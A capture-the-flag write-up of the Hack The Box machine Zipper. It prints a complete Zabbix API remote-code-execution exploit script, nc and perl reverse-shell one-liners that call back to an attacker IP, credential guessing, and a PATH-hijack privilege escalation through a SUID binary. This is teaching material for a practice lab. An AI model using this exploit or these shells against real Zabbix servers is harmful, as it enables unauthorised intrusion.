Hack The Box - Zipper

Quick Summary

Hey guys today Zipper retired and here’s my write-up. Owning user on this box was challenging because we have to exploit an RCE vulnerability which is not really easy and then we have to get a stable shell to be able to enumerate, for the privilege escalation it was easy but I also liked it because it was a binary exploitation. It was a very fun box and I liked it. It’s a linux box and its ip is 10.10.10.108 , I added it to /etc/hosts as zipper.htb. Let’s jump right in.

Nmap

As always we will start with nmap to scan for open ports and services :
nmap -sV -sT -sC zipper.htb

We only get 2 ports , http on port 80 and ssh on port 22. so we are going to check http

HTTP enumeration

By visiting zipper.htb we get the default apache2 page :

So I’m going to run gobuster with directory-list-2.3-medium.txt to see if there are any sub directories :
gobuster -u http://zipper.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Output :

1
2
3
4
5
6
7
8
9
10
11
12
13
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://zipper.htb/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 4m10s
=====================================================
2019/02/22 08:50:38 Starting gobuster
=====================================================
/zabbix (Status: 301)

We got /zabbix , let’s look at that in the browser :

We get this login page , we don’t have credentials but down there there’s an option to sign in as a guest , but before we do that let’s get an idea about zabbix

Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption. -Wikipedia

So basically it’s a server monitoring tool , let’s login as a guest and see what we can get

We get this dashboard , but we are not privileged to do anything because we are guest
After some enumeration we will notice in : Monitoring –> Latest data , Zapper's Backup Script

Now we have a potential username : zapper , we can try to brute force or fuzz the password , but a quick guess worked for me , the username is the password zapper : zapper


GUI access disabled , on exploit-db there’s an authenticated remote code execution exploit for an old version of zabbix , check it here , Unfortunately valid credentials are not enough to exploit it , if we take a look here :

We also need hostid , and to get that we need to get GUI access

GUI access through zabbix-cli

There’s a cli tool for zabbix on github , we can use it to gain GUI access. Installation and configuration is simple you will get the source from github then install it with install.py install then you will create a conf file for it by executing zabbix-cli --config, it will be saved in $HOME/.zabbix-cli/zabbix-cli.conf , open the conf file and in Zabbix API section add this line :

1
zabbix_api_url=http://10.10.10.108/zabbix

For details read the documentation here
Then we will run zabbix-cli it will ask for a username and a password , we already have them zapper : zapper
if we executed show_usergroups we will see that zapper is in a group called No access to the fronted and GUI access to that group is disabled

We will create a new group and call it guiaccess and leave GUI access as system default
create_usergroup

Then we will add zapper to that group and delete him from No access to the fronted
add_user_to_usergroup

remove_user_from_usergroup

Now if we try to login again as zapper we will get the dashboard :

RCE and getting user

From Configuration –> Hosts we have 2 hosts and the second one is the availabe one :

If we click on it we will get an edit page , but we will notice that the host id is included in the url as a GET parameter :

Now we can edit the python exploit and add the host id : 10106 , this is how the basic login info in the script will look like :


And we get a decent shell , but this shell executes commands through API requests which is not efficient , so we will get a reverse shell like this :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
I got this shell from payload all the things


Problem is , we will find that we are in a docker container , and that’s actually a bad rabbit hole and when I was doing this box for the first time i spent a lot of time trying to escape this docker container , And eventually i found out that this is the wrong server.

If we take a look at this page from zabbix documentation , this part :

there’s an option called execute_on , which has 2 possible values : 0 to execute on zabbix agent , and 1 to execute on zabbix server. We don’t have that option included in the exploit so we are using the default option 1 which means we are executing commands on zabbix server. So we will edit the exploit json data and add "execute_on" : "0" in those 2 parts :


After that we will run the exploit again and now it will run on the right server , however the shell that we used before didn’t work and died immediately because the exploit crashed for some reason , I had to comment out the last line which prints the result : print cmd_exe["result"]["value"] , but it didn’t fix it , so I tried some other shells and the perl one worked :

1
perl -e 'use Socket;$i="10.10.xx.xx";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Then I used used python3 pty to get a proper shell , python2 didn’t exist on the server

Final exploit after edits :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = 'http://10.10.10.108/zabbix' ## Zabbix IP-address
url = ZABIX_ROOT + '/api_jsonrpc.php' ## Don't edit

login = 'zapper' ## Zabbix login
password = 'zapper' ## Zabbix password
hostid = '10106' ## Zabbix hostid

## auth
payload = {
"jsonrpc" : "2.0",
"method" : "user.login",
"params": {
'user': ""+login+"",
'password': ""+password+"",
},
"auth" : None,
"id" : 0,
}
headers = {
'content-type': 'application/json',
}

auth = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "" : print "Result of last command:"
if cmd == "quit" : break

## update
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": ""+cmd+"",
"execute_on" : "0"
},
"auth" : auth['result'],
"id" : 0,
}

cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

## execute
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": ""+hostid+""
},
"auth" : auth['result'],
"id" : 0,
"execute_on" : "1"
}

cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
cmd_exe = cmd_exe.json()
# print cmd_exe["result"]["value"]

First thing we will notice that we are zabbix and in /home there’s a directory for the user zapper

We can’t read user.txt and we can’t go into .ssh

There’s another directory called utils which contains 2 files , backup.sh and zabbix-service
cat backup.sh

We see that it has a hardcoded password in it : ZippityDoDah , we can try to su to zapper with that password

And it worked , now we can get the ssh key from .ssh and have ssh connection


And we owned user !

Privilege Escalation and getting root

If we take a look at the utils directory again and execute zabbix-service :


It asks us start or stop? then it executes something and exits , we will check if that binary is a suid binary :
find /home/zapper/utils -perm -4000

It’s a suid binary , we need to know what is it doing. Without reverse engineering , strings was enough :
strings zabbix-service

This command is being executed when we type start : systemctl daemon-reload && systemctl start zabbix-agent , so what are we going to do is the same as we did in Dab , the only difference is in dab we hijacked a shared library that the binary used , but here we will hijack a binary. By default systemctl points to /bin/systemctl

We will create a c program to execute /bin/bash :

Then we will compile it with gcc : gcc exploit.c -o systemctl
Now we have our fake binary ready :

We will add /home/zapper/utils as the first entry in PATH env variable , so the system will look there first :
export PATH=/home/zapper/utils:$PATH
This is changing the PATH variable to /home/zapper/utils: + the old path

Now systemctl points to our fake binary , let’s run zabbix-service :

And we owned root !

That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Giddy
Next Hack The Box write-up : Hack The Box - Access